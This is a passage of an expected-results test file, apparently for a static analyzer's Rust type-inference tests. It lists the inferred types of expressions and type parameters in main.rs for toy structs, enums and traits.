main.rs:236:34:236:50 | T | +| main.rs:237:13:237:13 | s | | main.rs:201:5:202:14 | S1 | +| main.rs:237:17:237:17 | x | | main.rs:236:34:236:50 | T | +| main.rs:237:17:237:26 | x.method() | | main.rs:201:5:202:14 | S1 | +| main.rs:238:26:238:26 | s | | main.rs:201:5:202:14 | S1 | +| main.rs:242:16:242:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | +| main.rs:244:16:244:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | +| main.rs:247:58:247:58 | x | | main.rs:247:41:247:55 | T | +| main.rs:247:64:247:64 | y | | main.rs:247:41:247:55 | T | +| main.rs:249:13:249:14 | s1 | | main.rs:201:5:202:14 | S1 | +| main.rs:249:18:249:18 | x | | main.rs:247:41:247:55 | T | +| main.rs:249:18:249:24 | x.fst() | | main.rs:201:5:202:14 | S1 | +| main.rs:250:13:250:14 | s2 | | main.rs:204:5:205:14 | S2 | +| main.rs:250:18:250:18 | y | | main.rs:247:41:247:55 | T | +| main.rs:250:18:250:24 | y.snd() | | main.rs:204:5:205:14 | S2 | +| main.rs:251:32:251:33 | s1 | | main.rs:201:5:202:14 | S1 | +| main.rs:251:36:251:37 | s2 | | main.rs:204:5:205:14 | S2 | +| main.rs:254:69:254:69 | x | | main.rs:254:52:254:66 | T | +| main.rs:254:75:254:75 | y | | main.rs:254:52:254:66 | T | +| main.rs:256:13:256:14 | s1 | | main.rs:201:5:202:14 | S1 | +| main.rs:256:18:256:18 | x | | main.rs:254:52:254:66 | T | +| main.rs:256:18:256:24 | x.fst() | | main.rs:201:5:202:14 | S1 | +| main.rs:257:13:257:14 | s2 | | main.rs:254:41:254:49 | T2 | +| main.rs:257:18:257:18 | y | | main.rs:254:52:254:66 | T | +| main.rs:257:18:257:24 | y.snd() | | main.rs:254:41:254:49 | T2 | +| main.rs:258:32:258:33 | s1 | | main.rs:201:5:202:14 | S1 | +| main.rs:258:36:258:37 | s2 | | main.rs:254:41:254:49 | T2 | +| main.rs:274:15:274:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | +| main.rs:276:15:276:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | +| main.rs:279:9:281:9 | { ... } | | main.rs:273:19:273:19 | A | +| main.rs:280:13:280:16 | self | | main.rs:273:5:282:5 | Self [trait MyTrait] | +| main.rs:280:13:280:21 | self.m1() | | main.rs:273:19:273:19 | A | +| main.rs:285:43:285:43 | x | | main.rs:285:26:285:40 | T2 | +| main.rs:285:56:287:5 | { ... } | | main.rs:285:22:285:23 | T1 | +| main.rs:286:9:286:9 | x | | main.rs:285:26:285:40 | T2 | +| main.rs:286:9:286:14 | x.m1() | | main.rs:285:22:285:23 | T1 | +| main.rs:290:49:290:49 | x | | main.rs:263:5:266:5 | MyThing | +| main.rs:290:49:290:49 | x | T | main.rs:290:32:290:46 | T2 | +| main.rs:290:71:292:5 | { ... } | | main.rs:290:28:290:29 | T1 | +| main.rs:291:9:291:9 | x | | main.rs:263:5:266:5 | MyThing | +| main.rs:291:9:291:9 | x | T | main.rs:290:32:290:46 | T2 | +| main.rs:291:9:291:11 | x.a | | main.rs:290:32:290:46 | T2 | +| main.rs:291:9:291:16 | ... .m1() | | main.rs:290:28:290:29 | T1 | +| main.rs:295:15:295:18 | SelfParam | | main.rs:263:5:266:5 | MyThing | +| main.rs:295:15:295:18 | SelfParam | T | main.rs:294:10:294:10 | T | +| main.rs:295:26:297:9 | { ... } | | main.rs:294:10:294:10 | T | +| main.rs:296:13:296:16 | self | | main.rs:263:5:266:5 | MyThing | +| main.rs:296:13:296:16 | self | T | main.rs:294:10:294:10 | T | +| main.rs:296:13:296:18 | self.a | | main.rs:294:10:294:10 | T | +| main.rs:301:13:301:13 | x | | main.rs:263:5:266:5 | MyThing | +| main.rs:301:13:301:13 | x | T | main.rs:268:5:269:14 | S1 | +| main.rs:301:17:301:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | +| main.rs:301:30:301:31 | S1 | | main.rs:268:5:269:14 | S1 | +| main.rs:302:13:302:13 | y | | main.rs:263:5:266:5 | MyThing | +| main.rs:302:13:302:13 | y | T | main.rs:270:5:271:14 | S2 | +| main.rs:302:17:302:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | +| main.rs:302:30:302:31 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:304:26:304:26 | x | | main.rs:263:5:266:5 | MyThing | +| main.rs:304:26:304:26 | x | T | main.rs:268:5:269:14 | S1 | +| main.rs:304:26:304:31 | x.m1() | | main.rs:268:5:269:14 | S1 | +| main.rs:305:26:305:26 | y | | main.rs:263:5:266:5 | MyThing | +| main.rs:305:26:305:26 | y | T | main.rs:270:5:271:14 | S2 | +| main.rs:305:26:305:31 | y.m1() | | main.rs:270:5:271:14 | S2 | +| main.rs:307:13:307:13 | x | | main.rs:263:5:266:5 | MyThing | +| main.rs:307:13:307:13 | x | T | main.rs:268:5:269:14 | S1 | +| main.rs:307:17:307:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:307:17:307:33 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | +| main.rs:307:30:307:31 | S1 | | main.rs:268:5:269:14 | S1 | +| main.rs:308:13:308:13 | y | | main.rs:263:5:266:5 | MyThing | +| main.rs:308:13:308:13 | y | T | main.rs:270:5:271:14 | S2 | +| main.rs:308:17:308:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:308:17:308:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | +| main.rs:308:30:308:31 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:310:26:310:26 | x | | main.rs:263:5:266:5 | MyThing | +| main.rs:310:26:310:26 | x | T | main.rs:268:5:269:14 | S1 | +| main.rs:310:26:310:31 | x.m2() | | main.rs:268:5:269:14 | S1 | +| main.rs:311:26:311:26 | y | | main.rs:263:5:266:5 | MyThing | +| main.rs:311:26:311:26 | y | T | main.rs:270:5:271:14 | S2 | +| main.rs:311:26:311:31 | y.m2() | | main.rs:270:5:271:14 | S2 | +| main.rs:313:13:313:14 | x2 | | main.rs:263:5:266:5 | MyThing | +| main.rs:313:13:313:14 | x2 | T | main.rs:268:5:269:14 | S1 | +| main.rs:313:18:313:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:313:18:313:34 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | +| main.rs:313:31:313:32 | S1 | | main.rs:268:5:269:14 | S1 | +| main.rs:314:13:314:14 | y2 | | main.rs:263:5:266:5 | MyThing | +| main.rs:314:13:314:14 | y2 | T | main.rs:270:5:271:14 | S2 | +| main.rs:314:18:314:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:314:18:314:34 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | +| main.rs:314:31:314:32 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:316:26:316:42 | call_trait_m1(...) | | main.rs:268:5:269:14 | S1 | +| main.rs:316:40:316:41 | x2 | | main.rs:263:5:266:5 | MyThing | +| main.rs:316:40:316:41 | x2 | T | main.rs:268:5:269:14 | S1 | +| main.rs:317:26:317:42 | call_trait_m1(...) | | main.rs:270:5:271:14 | S2 | +| main.rs:317:40:317:41 | y2 | | main.rs:263:5:266:5 | MyThing | +| main.rs:317:40:317:41 | y2 | T | main.rs:270:5:271:14 | S2 | +| main.rs:319:13:319:14 | x3 | | main.rs:263:5:266:5 | MyThing | +| main.rs:319:13:319:14 | x3 | T | main.rs:263:5:266:5 | MyThing | +| main.rs:319:13:319:14 | x3 | T.T | main.rs:268:5:269:14 | S1 | +| main.rs:319:18:321:9 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:319:18:321:9 | MyThing {...} | T | main.rs:263:5:266:5 | MyThing | +| main.rs:319:18:321:9 | MyThing {...} | T.T | main.rs:268:5:269:14 | S1 | +| main.rs:320:16:320:32 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:320:16:320:32 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | +| main.rs:320:29:320:30 | S1 | | main.rs:268:5:269:14 | S1 | +| main.rs:322:13:322:14 | y3 | | main.rs:263:5:266:5 | MyThing | +| main.rs:322:13:322:14 | y3 | T | main.rs:263:5:266:5 | MyThing | +| main.rs:322:13:322:14 | y3 | T.T | main.rs:270:5:271:14 | S2 | +| main.rs:322:18:324:9 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:322:18:324:9 | MyThing {...} | T | main.rs:263:5:266:5 | MyThing | +| main.rs:322:18:324:9 | MyThing {...} | T.T | main.rs:270:5:271:14 | S2 | +| main.rs:323:16:323:32 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | +| main.rs:323:16:323:32 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | +| main.rs:323:29:323:30 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:326:26:326:48 | call_trait_thing_m1(...) | | main.rs:268:5:269:14 | S1 | +| main.rs:326:46:326:47 | x3 | | main.rs:263:5:266:5 | MyThing | +| main.rs:326:46:326:47 | x3 | T | main.rs:263:5:266:5 | MyThing | +| main.rs:326:46:326:47 | x3 | T.T | main.rs:268:5:269:14 | S1 | +| main.rs:327:26:327:48 | call_trait_thing_m1(...) | | main.rs:270:5:271:14 | S2 | +| main.rs:327:46:327:47 | y3 | | main.rs:263:5:266:5 | MyThing | +| main.rs:327:46:327:47 | y3 | T | main.rs:263:5:266:5 | MyThing | +| main.rs:327:46:327:47 | y3 | T.T | main.rs:270:5:271:14 | S2 | +| main.rs:335:15:335:18 | SelfParam | | main.rs:332:5:344:5 | Self [trait MyTrait] | +| main.rs:337:15:337:18 | SelfParam | | main.rs:332:5:344:5 | Self [trait MyTrait] | +| main.rs:353:15:353:18 | SelfParam | | main.rs:346:5:347:13 | S | +| main.rs:353:45:355:9 | { ... } | | main.rs:346:5:347:13 | S | +| main.rs:354:13:354:13 | S | | main.rs:346:5:347:13 | S | +| main.rs:359:13:359:13 | x | | main.rs:346:5:347:13 | S | +| main.rs:359:17:359:17 | S | | main.rs:346:5:347:13 | S | +| main.rs:360:26:360:26 | x | | main.rs:346:5:347:13 | S | +| main.rs:360:26:360:31 | x.m1() | | main.rs:346:5:347:13 | S | +| main.rs:362:13:362:13 | x | | main.rs:346:5:347:13 | S | +| main.rs:362:17:362:17 | S | | main.rs:346:5:347:13 | S | +| main.rs:363:26:363:26 | x | | main.rs:346:5:347:13 | S | +| main.rs:380:15:380:18 | SelfParam | | main.rs:368:5:372:5 | MyEnum | +| main.rs:380:15:380:18 | SelfParam | A | main.rs:379:10:379:10 | T | +| main.rs:380:26:385:9 | { ... } | | main.rs:379:10:379:10 | T | +| main.rs:381:13:384:13 | match self { ... } | | main.rs:379:10:379:10 | T | +| main.rs:381:19:381:22 | self | | main.rs:368:5:372:5 | MyEnum | +| main.rs:381:19:381:22 | self | A | main.rs:379:10:379:10 | T | +| main.rs:382:28:382:28 | a | | main.rs:379:10:379:10 | T | +| main.rs:382:34:382:34 | a | | main.rs:379:10:379:10 | T | +| main.rs:383:30:383:30 | a | | main.rs:379:10:379:10 | T | +| main.rs:383:37:383:37 | a | | main.rs:379:10:379:10 | T | +| main.rs:389:13:389:13 | x | | main.rs:368:5:372:5 | MyEnum | +| main.rs:389:13:389:13 | x | A | main.rs:374:5:375:14 | S1 | +| main.rs:389:17:389:30 | ...::C1(...) | | main.rs:368:5:372:5 | MyEnum | +| main.rs:389:17:389:30 | ...::C1(...) | A | main.rs:374:5:375:14 | S1 | +| main.rs:389:28:389:29 | S1 | | main.rs:374:5:375:14 | S1 | +| main.rs:390:13:390:13 | y | | main.rs:368:5:372:5 | MyEnum | +| main.rs:390:13:390:13 | y | A | main.rs:376:5:377:14 | S2 | +| main.rs:390:17:390:36 | ...::C2 {...} | | main.rs:368:5:372:5 | MyEnum | +| main.rs:390:17:390:36 | ...::C2 {...} | A | main.rs:376:5:377:14 | S2 | +| main.rs:390:33:390:34 | S2 | | main.rs:376:5:377:14 | S2 | +| main.rs:392:26:392:26 | x | | main.rs:368:5:372:5 | MyEnum | +| main.rs:392:26:392:26 | x | A | main.rs:374:5:375:14 | S1 | +| main.rs:392:26:392:31 | x.m1() | | main.rs:374:5:375:14 | S1 | +| main.rs:393:26:393:26 | y | | main.rs:368:5:372:5 | MyEnum | +| main.rs:393:26:393:26 | y | A | main.rs:376:5:377:14 | S2 | +| main.rs:393:26:393:31 | y.m1() | | main.rs:376:5:377:14 | S2 | +| main.rs:415:15:415:18 | SelfParam | | main.rs:413:5:416:5 | Self [trait MyTrait1] | +| main.rs:419:15:419:18 | SelfParam | | main.rs:418:5:429:5 | Self [trait MyTrait2] | +| main.rs:422:9:428:9 | { ... } | | main.rs:418:20:418:22 | Tr2 | +| main.rs:423:13:427:13 | if ... {...} else {...} | | main.rs:418:20:418:22 | Tr2 | +| main.rs:423:26:425:13 | { ... } | | main.rs:418:20:418:22 | Tr2 | +| main.rs:424:17:424:20 | self | | main.rs:418:5:429:5 | Self [trait MyTrait2] | +| main.rs:424:17:424:25 | self.m1() | | main.rs:418:20:418:22 | Tr2 | +| main.rs:425:20:427:13 | { ... } | | main.rs:418:20:418:22 | Tr2 | +| main.rs:426:17:426:30 | ...::m1(...) | | main.rs:418:20:418:22 | Tr2 | +| main.rs:426:26:426:29 | self | | main.rs:418:5:429:5 | Self [trait MyTrait2] | +| main.rs:432:15:432:18 | SelfParam | | main.rs:431:5:442:5 | Self [trait MyTrait3] | +| main.rs:435:9:441:9 | { ... } | | main.rs:431:20:431:22 | Tr3 | +| main.rs:436:13:440:13 | if ... {...} else {...} | | main.rs:431:20:431:22 | Tr3 | +| main.rs:436:26:438:13 | { ... } | | main.rs:431:20:431:22 | Tr3 | +| main.rs:437:17:437:20 | self | | main.rs:431:5:442:5 | Self [trait MyTrait3] | +| main.rs:437:17:437:25 | self.m2() | | main.rs:398:5:401:5 | MyThing | +| main.rs:437:17:437:25 | self.m2() | A | main.rs:431:20:431:22 | Tr3 | +| main.rs:437:17:437:27 | ... .a | | main.rs:431:20:431:22 | Tr3 | +| main.rs:438:20:440:13 | { ... } | | main.rs:431:20:431:22 | Tr3 | +| main.rs:439:17:439:30 | ...::m2(...) | | main.rs:398:5:401:5 | MyThing | +| main.rs:439:17:439:30 | ...::m2(...) | A | main.rs:431:20:431:22 | Tr3 | +| main.rs:439:17:439:32 | ... .a | | main.rs:431:20:431:22 | Tr3 | +| main.rs:439:26:439:29 | self | | main.rs:431:5:442:5 | Self [trait MyTrait3] | +| main.rs:446:15:446:18 | SelfParam | | main.rs:398:5:401:5 | MyThing | +| main.rs:446:15:446:18 | SelfParam | A | main.rs:444:10:444:10 | T | +| main.rs:446:26:448:9 | { ... } | | main.rs:444:10:444:10 | T | +| main.rs:447:13:447:16 | self | | main.rs:398:5:401:5 | MyThing | +| main.rs:447:13:447:16 | self | A | main.rs:444:10:444:10 | T | +| main.rs:447:13:447:18 | self.a | | main.rs:444:10:444:10 | T | +| main.rs:455:15:455:18 | SelfParam | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:455:15:455:18 | SelfParam | A | main.rs:453:10:453:10 | T | +| main.rs:455:35:457:9 | { ... } | | main.rs:398:5:401:5 | MyThing | +| main.rs:455:35:457:9 | { ... } | A | main.rs:453:10:453:10 | T | +| main.rs:456:13:456:33 | MyThing {...} | | main.rs:398:5:401:5 | MyThing | +| main.rs:456:13:456:33 | MyThing {...} | A | main.rs:453:10:453:10 | T | +| main.rs:456:26:456:29 | self | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:456:26:456:29 | self | A | main.rs:453:10:453:10 | T | +| main.rs:456:26:456:31 | self.a | | main.rs:453:10:453:10 | T | +| main.rs:465:13:465:13 | x | | main.rs:398:5:401:5 | MyThing | +| main.rs:465:13:465:13 | x | A | main.rs:408:5:409:14 | S1 | +| main.rs:465:17:465:33 | MyThing {...} | | main.rs:398:5:401:5 | MyThing | +| main.rs:465:17:465:33 | MyThing {...} | A | main.rs:408:5:409:14 | S1 | +| main.rs:465:30:465:31 | S1 | | main.rs:408:5:409:14 | S1 | +| main.rs:466:13:466:13 | y | | main.rs:398:5:401:5 | MyThing | +| main.rs:466:13:466:13 | y | A | main.rs:410:5:411:14 | S2 | +| main.rs:466:17:466:33 | MyThing {...} | | main.rs:398:5:401:5 | MyThing | +| main.rs:466:17:466:33 | MyThing {...} | A | main.rs:410:5:411:14 | S2 | +| main.rs:466:30:466:31 | S2 | | main.rs:410:5:411:14 | S2 | +| main.rs:468:26:468:26 | x | | main.rs:398:5:401:5 | MyThing | +| main.rs:468:26:468:26 | x | A | main.rs:408:5:409:14 | S1 | +| main.rs:468:26:468:31 | x.m1() | | main.rs:408:5:409:14 | S1 | +| main.rs:469:26:469:26 | y | | main.rs:398:5:401:5 | MyThing | +| main.rs:469:26:469:26 | y | A | main.rs:410:5:411:14 | S2 | +| main.rs:469:26:469:31 | y.m1() | | main.rs:410:5:411:14 | S2 | +| main.rs:471:13:471:13 | x | | main.rs:398:5:401:5 | MyThing | +| main.rs:471:13:471:13 | x | A | main.rs:408:5:409:14 | S1 | +| main.rs:471:17:471:33 | MyThing {...} | | main.rs:398:5:401:5 | MyThing | +| main.rs:471:17:471:33 | MyThing {...} | A | main.rs:408:5:409:14 | S1 | +| main.rs:471:30:471:31 | S1 | | main.rs:408:5:409:14 | S1 | +| main.rs:472:13:472:13 | y | | main.rs:398:5:401:5 | MyThing | +| main.rs:472:13:472:13 | y | A | main.rs:410:5:411:14 | S2 | +| main.rs:472:17:472:33 | MyThing {...} | | main.rs:398:5:401:5 | MyThing | +| main.rs:472:17:472:33 | MyThing {...} | A | main.rs:410:5:411:14 | S2 | +| main.rs:472:30:472:31 | S2 | | main.rs:410:5:411:14 | S2 | +| main.rs:474:26:474:26 | x | | main.rs:398:5:401:5 | MyThing | +| main.rs:474:26:474:26 | x | A | main.rs:408:5:409:14 | S1 | +| main.rs:474:26:474:31 | x.m2() | | main.rs:408:5:409:14 | S1 | +| main.rs:475:26:475:26 | y | | main.rs:398:5:401:5 | MyThing | +| main.rs:475:26:475:26 | y | A | main.rs:410:5:411:14 | S2 | +| main.rs:475:26:475:31 | y.m2() | | main.rs:410:5:411:14 | S2 | +| main.rs:477:13:477:13 | x | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:477:13:477:13 | x | A | main.rs:408:5:409:14 | S1 | +| main.rs:477:17:477:34 | MyThing2 {...} | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:477:17:477:34 | MyThing2 {...} | A | main.rs:408:5:409:14 | S1 | +| main.rs:477:31:477:32 | S1 | | main.rs:408:5:409:14 | S1 | +| main.rs:478:13:478:13 | y | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:478:13:478:13 | y | A | main.rs:410:5:411:14 | S2 | +| main.rs:478:17:478:34 | MyThing2 {...} | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:478:17:478:34 | MyThing2 {...} | A | main.rs:410:5:411:14 | S2 | +| main.rs:478:31:478:32 | S2 | | main.rs:410:5:411:14 | S2 | +| main.rs:480:26:480:26 | x | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:480:26:480:26 | x | A | main.rs:408:5:409:14 | S1 | +| main.rs:480:26:480:31 | x.m3() | | main.rs:408:5:409:14 | S1 | +| main.rs:481:26:481:26 | y | | main.rs:403:5:406:5 | MyThing2 | +| main.rs:481:26:481:26 | y | A | main.rs:410:5:411:14 | S2 | +| main.rs:481:26:481:31 | y.m3() | | main.rs:410:5:411:14 | S2 | +| main.rs:499:22:499:22 | x | | file://:0:0:0:0 | & | +| main.rs:499:22:499:22 | x | &T | main.rs:499:11:499:19 | T | +| main.rs:499:35:501:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:499:35:501:5 | { ... } | &T | main.rs:499:11:499:19 | T | +| main.rs:500:9:500:9 | x | | file://:0:0:0:0 | & | +| main.rs:500:9:500:9 | x | &T | main.rs:499:11:499:19 | T | +| main.rs:504:17:504:20 | SelfParam | | main.rs:489:5:490:14 | S1 | +| main.rs:504:29:506:9 | { ... } | | main.rs:492:5:493:14 | S2 | +| main.rs:505:13:505:14 | S2 | | main.rs:492:5:493:14 | S2 | +| main.rs:509:21:509:21 | x | | main.rs:509:13:509:14 | T1 | +| main.rs:512:5:514:5 | { ... } | | main.rs:509:17:509:18 | T2 | +| main.rs:513:9:513:9 | x | | main.rs:509:13:509:14 | T1 | +| main.rs:513:9:513:16 | x.into() | | main.rs:509:17:509:18 | T2 | +| main.rs:517:13:517:13 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:517:17:517:18 | S1 | | main.rs:489:5:490:14 | S1 | +| main.rs:518:26:518:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:518:26:518:31 | id(...) | &T | main.rs:489:5:490:14 | S1 | +| main.rs:518:29:518:30 | &x | | file://:0:0:0:0 | & | +| main.rs:518:29:518:30 | &x | &T | main.rs:489:5:490:14 | S1 | +| main.rs:518:30:518:30 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:520:13:520:13 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:520:17:520:18 | S1 | | main.rs:489:5:490:14 | S1 | +| main.rs:521:26:521:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:521:26:521:37 | id::<...>(...) | &T | main.rs:489:5:490:14 | S1 | +| main.rs:521:35:521:36 | &x | | file://:0:0:0:0 | & | +| main.rs:521:35:521:36 | &x | &T | main.rs:489:5:490:14 | S1 | +| main.rs:521:36:521:36 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:523:13:523:13 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:523:17:523:18 | S1 | | main.rs:489:5:490:14 | S1 | +| main.rs:524:26:524:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:524:26:524:44 | id::<...>(...) | &T | main.rs:489:5:490:14 | S1 | +| main.rs:524:42:524:43 | &x | | file://:0:0:0:0 | & | +| main.rs:524:42:524:43 | &x | &T | main.rs:489:5:490:14 | S1 | +| main.rs:524:43:524:43 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:526:13:526:13 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:526:17:526:18 | S1 | | main.rs:489:5:490:14 | S1 | +| main.rs:527:9:527:25 | into::<...>(...) | | main.rs:492:5:493:14 | S2 | +| main.rs:527:24:527:24 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:529:13:529:13 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:529:17:529:18 | S1 | | main.rs:489:5:490:14 | S1 | +| main.rs:530:13:530:13 | y | | main.rs:492:5:493:14 | S2 | +| main.rs:530:21:530:27 | into(...) | | main.rs:492:5:493:14 | S2 | +| main.rs:530:26:530:26 | x | | main.rs:489:5:490:14 | S1 | +| main.rs:560:13:560:14 | p1 | | main.rs:535:5:541:5 | PairOption | +| main.rs:560:13:560:14 | p1 | Fst | main.rs:543:5:544:14 | S1 | +| main.rs:560:13:560:14 | p1 | Snd | main.rs:546:5:547:14 | S2 | +| main.rs:560:26:560:53 | ...::PairBoth(...) | | main.rs:535:5:541:5 | PairOption | +| main.rs:560:26:560:53 | ...::PairBoth(...) | Fst | main.rs:543:5:544:14 | S1 | +| main.rs:560:26:560:53 | ...::PairBoth(...) | Snd | main.rs:546:5:547:14 | S2 | +| main.rs:560:47:560:48 | S1 | | main.rs:543:5:544:14 | S1 | +| main.rs:560:51:560:52 | S2 | | main.rs:546:5:547:14 | S2 | +| main.rs:561:26:561:27 | p1 | | main.rs:535:5:541:5 | PairOption | +| main.rs:561:26:561:27 | p1 | Fst | main.rs:543:5:544:14 | S1 | +| main.rs:561:26:561:27 | p1 | Snd | main.rs:546:5:547:14 | S2 | +| main.rs:564:13:564:14 | p2 | | main.rs:535:5:541:5 | PairOption | +| main.rs:564:26:564:47 | ...::PairNone(...) | | main.rs:535:5:541:5 | PairOption | +| main.rs:565:26:565:27 | p2 | | main.rs:535:5:541:5 | PairOption | +| main.rs:568:13:568:14 | p3 | | main.rs:535:5:541:5 | PairOption | +| main.rs:568:13:568:14 | p3 | Snd | main.rs:549:5:550:14 | S3 | +| main.rs:568:34:568:56 | ...::PairSnd(...) | | main.rs:535:5:541:5 | PairOption | +| main.rs:568:34:568:56 | ...::PairSnd(...) | Snd | main.rs:549:5:550:14 | S3 | +| main.rs:568:54:568:55 | S3 | | main.rs:549:5:550:14 | S3 | +| main.rs:569:26:569:27 | p3 | | main.rs:535:5:541:5 | PairOption | +| main.rs:569:26:569:27 | p3 | Snd | main.rs:549:5:550:14 | S3 | +| main.rs:572:13:572:14 | p3 | | main.rs:535:5:541:5 | PairOption | +| main.rs:572:13:572:14 | p3 | Fst | main.rs:549:5:550:14 | S3 | +| main.rs:572:35:572:56 | ...::PairNone(...) | | main.rs:535:5:541:5 | PairOption | +| main.rs:572:35:572:56 | ...::PairNone(...) | Fst | main.rs:549:5:550:14 | S3 | +| main.rs:573:26:573:27 | p3 | | main.rs:535:5:541:5 | PairOption | +| main.rs:573:26:573:27 | p3 | Fst | main.rs:549:5:550:14 | S3 | +| main.rs:586:16:586:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:586:16:586:24 | SelfParam | &T | main.rs:584:5:591:5 | Self [trait MyTrait] | +| main.rs:586:27:586:31 | value | | main.rs:584:19:584:19 | S | +| main.rs:588:21:588:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:588:21:588:29 | SelfParam | &T | main.rs:584:5:591:5 | Self [trait MyTrait] | +| main.rs:588:32:588:36 | value | | main.rs:584:19:584:19 | S | +| main.rs:589:13:589:16 | self | | file://:0:0:0:0 | & | +| main.rs:589:13:589:16 | self | &T | main.rs:584:5:591:5 | Self [trait MyTrait] | +| main.rs:589:22:589:26 | value | | main.rs:584:19:584:19 | S | +| main.rs:595:16:595:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:595:16:595:24 | SelfParam | &T | main.rs:578:5:582:5 | MyOption | +| main.rs:595:16:595:24 | SelfParam | &T.T | main.rs:593:10:593:10 | T | +| main.rs:595:27:595:31 | value | | main.rs:593:10:593:10 | T | +| main.rs:599:26:601:9 | { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:599:26:601:9 | { ... } | T | main.rs:598:10:598:10 | T | +| main.rs:600:13:600:30 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:600:13:600:30 | ...::MyNone(...) | T | main.rs:598:10:598:10 | T | +| main.rs:605:20:605:23 | SelfParam | | main.rs:578:5:582:5 | MyOption | +| main.rs:605:20:605:23 | SelfParam | T | main.rs:578:5:582:5 | MyOption | +| main.rs:605:20:605:23 | SelfParam | T.T | main.rs:604:10:604:10 | T | +| main.rs:605:41:610:9 | { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:605:41:610:9 | { ... } | T | main.rs:604:10:604:10 | T | +| main.rs:606:13:609:13 | match self { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:606:13:609:13 | match self { ... } | T | main.rs:604:10:604:10 | T | +| main.rs:606:19:606:22 | self | | main.rs:578:5:582:5 | MyOption | +| main.rs:606:19:606:22 | self | T | main.rs:578:5:582:5 | MyOption | +| main.rs:606:19:606:22 | self | T.T | main.rs:604:10:604:10 | T | +| main.rs:607:39:607:56 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:607:39:607:56 | ...::MyNone(...) | T | main.rs:604:10:604:10 | T | +| main.rs:608:34:608:34 | x | | main.rs:578:5:582:5 | MyOption | +| main.rs:608:34:608:34 | x | T | main.rs:604:10:604:10 | T | +| main.rs:608:40:608:40 | x | | main.rs:578:5:582:5 | MyOption | +| main.rs:608:40:608:40 | x | T | main.rs:604:10:604:10 | T | +| main.rs:617:13:617:14 | x1 | | main.rs:578:5:582:5 | MyOption | +| main.rs:617:18:617:37 | ...::new(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:618:26:618:27 | x1 | | main.rs:578:5:582:5 | MyOption | +| main.rs:620:13:620:18 | mut x2 | | main.rs:578:5:582:5 | MyOption | +| main.rs:620:13:620:18 | mut x2 | T | main.rs:613:5:614:13 | S | +| main.rs:620:22:620:36 | ...::new(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:620:22:620:36 | ...::new(...) | T | main.rs:613:5:614:13 | S | +| main.rs:621:9:621:10 | x2 | | main.rs:578:5:582:5 | MyOption | +| main.rs:621:9:621:10 | x2 | T | main.rs:613:5:614:13 | S | +| main.rs:621:16:621:16 | S | | main.rs:613:5:614:13 | S | +| main.rs:622:26:622:27 | x2 | | main.rs:578:5:582:5 | MyOption | +| main.rs:622:26:622:27 | x2 | T | main.rs:613:5:614:13 | S | +| main.rs:624:13:624:18 | mut x3 | | main.rs:578:5:582:5 | MyOption | +| main.rs:624:22:624:36 | ...::new(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:625:9:625:10 | x3 | | main.rs:578:5:582:5 | MyOption | +| main.rs:625:21:625:21 | S | | main.rs:613:5:614:13 | S | +| main.rs:626:26:626:27 | x3 | | main.rs:578:5:582:5 | MyOption | +| main.rs:628:13:628:18 | mut x4 | | main.rs:578:5:582:5 | MyOption | +| main.rs:628:13:628:18 | mut x4 | T | main.rs:613:5:614:13 | S | +| main.rs:628:22:628:36 | ...::new(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:628:22:628:36 | ...::new(...) | T | 